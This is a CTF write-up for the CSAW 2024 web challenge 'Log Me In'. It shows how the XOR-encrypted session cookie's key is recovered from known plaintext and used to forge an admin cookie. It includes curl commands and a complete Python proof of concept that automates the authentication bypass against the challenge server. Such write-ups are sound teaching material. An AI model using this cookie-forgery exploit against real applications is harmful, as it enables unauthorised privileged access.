CSAW CTF 2024 - Writeups
Table of Contents
Web/Log Me In
I (definitely did not) have found this challenge in the OSIRIS recruit repository
author: nikobelic29
The challenge have three routes:
/register
-> create an account- POST -
username
,password
,displayname
- POST -
/login
-> login to the account- POST -
username
,password
- POST -
/user
-> user panel that shows user information- GET -
Cookies[info]
- GET -
Our goal is to login as admin user, and for that we need to somehow set the uid
value to 0 and visit /user
to see the flag.
By default, when we register a new account the uid
value is set as 1.
And we cannot try SQLi, because regex matching is done on the username
and displayname
input using this function:
def is_alphanumeric(text):
pattern = r'^[a-zA-Z0-9]+$'
if re.match(pattern, text):
return True
else:
return False
For the same reason we can’t also try SSTI on displayname
.
Another thing we can check for is how the application creates the cookie value, and see if can craft our own cookie with uid = 0
.
In utils.py
this encode
function is used to create the cookie value.
def encode(status: dict) -> str:
try:
plaintext = json.dumps(status).encode()
out = b''
for i,j in zip(plaintext, os.environ['ENCRYPT_KEY'].encode()):
out += bytes([i^j])
return bytes.hex(out)
except Exception as s:
LOG(s)
return None
It requires a dictionary as its input and performs xor with an ENCRYPT_KEY
present in the environment variable and outputs the value in hex.
Since XOR is a self-inverse function, if we have two known values we can easily find the third one by reversing the operation. For example suppose:
a ^ b = c
and we know the values of b and c then we can find the value of a by performing XOR with b and c
b ^ c = a
Using this property we can easily find the value of ENCRYPT_KEY
by performing XOR with the cookie with its equivalent string value.
Exploit
Register a new account
curl -XPOST 'https://logmein1.ctf.csaw.io/register' --data 'username=h4r1337&password=test&displayname=abcd' -ik
Login using the credentials and get the cookie
curl -XPOST 'https://logmein1.ctf.csaw.io/login' --data 'username=h4r1337&password=test' -ik
HTTP/1.1 200 OK
Server: gunicorn
Date: Sun, 08 Sep 2024 10:49:18 GMT
Connection: close
Content-Type: application/json
Content-Length: 31
Set-Cookie: info=48674c3731025651282f614a4d541e661609415475434f5755530007243e520a141b5751653f1d0b0549587a6d051b1c63746a5825; Expires=Sun, 08 Sep 2024 11:49:18 GMT; Max-Age=3600; HttpOnly; Path=/
{"message":"Login successful"}
Find the value of ENCRYPT_KEY
import json
cookie = '48674c3731025651282f614a4d541e661609415475434f5755530007243e520a141b5751653f1d0b0549587a6d051b1c63746a5825'
user = {
'username': 'h4r1337',
'displays': 'test',
'uid': 1
}
user_plaintext = json.dumps(user).encode()
out = b''
for i, j in zip(user_plaintext, bytes.fromhex(cookie)):
out += bytes([i^j])
print(out)
Use this to craft a new cookie with uid = 0
admin = {
'uid': 0,
'displays': 'admin'
}
admin_plaintext = json.dumps(admin).encode()
admin_cookie = b''
for i,j in zip(admin_plaintext, out):
admin_cookie += bytes([i^j])
print(bytes.hex(admin_cookie))
Now go to /user
and change the cookie to see the flag:
Full POC:
import json
import re
import sys
import requests
url = 'https://logmein1.ctf.csaw.io'
def register(username: str, password: str, displays: str) -> bool:
print("[+] Creating Account")
data = {
'username': username,
'password': password,
'displayname': displays
}
response = requests.post(url=url+'/register', data=data)
if response.status_code == 201:
return True
else:
return False
def get_cookie(username: str, password: str) -> str | None:
print("[+] Retrieving Cookie")
data = {
'username': username,
'password': password,
}
response = requests.post(url=url+'/login', data=data)
if response.status_code != 200:
return
cookie = response.cookies['info']
return cookie
def find_encryption_key(user: dict, cookie: str) -> str:
print("[+] Finding Encryption Key")
user_plaintext = json.dumps(user).encode()
out = b''
for i, j in zip(user_plaintext, bytes.fromhex(cookie)):
out += bytes([i^j])
return out.decode()
def create_admin_cookie(enctiption_key: str) -> str:
print("[+] Creating Admin Cookie")
admin = {
'uid': 0,
'displays': 'admin'
}
admin_plaintext = json.dumps(admin).encode()
admin_cookie = b''
for i,j in zip(admin_plaintext, enctiption_key.encode()):
admin_cookie += bytes([i^j])
return bytes.hex(admin_cookie)
def get_flag(admin_cookie: str) -> str | None:
print("[+] Retrieving Flag")
cookies = {'info': admin_cookie}
response = requests.get(url=url+'/user', cookies=cookies)
if response.status_code != 200:
return
pattern = r'csawctf\{.*?\}'
match = re.search(pattern, response.text)
if match:
return match.group(0)
if __name__ == "__main__":
user = {
'username': 'h4r1337',
'displays': 'test',
'uid': 1
}
if not register('h4r1337', 'test', 'test'):
print("Error creating account")
sys.exit(1)
cookie = get_cookie('h4r1337', 'test')
if not cookie:
print("Error logging in")
sys.exit(1)
encryption_key = find_encryption_key(user, cookie)
admin_cookie = create_admin_cookie(encryption_key)
flag = get_flag(admin_cookie)
if flag:
print(f"[*] Found Flag: {flag}")
sys.exit(0)
else:
print("Error")
sys.exit(1)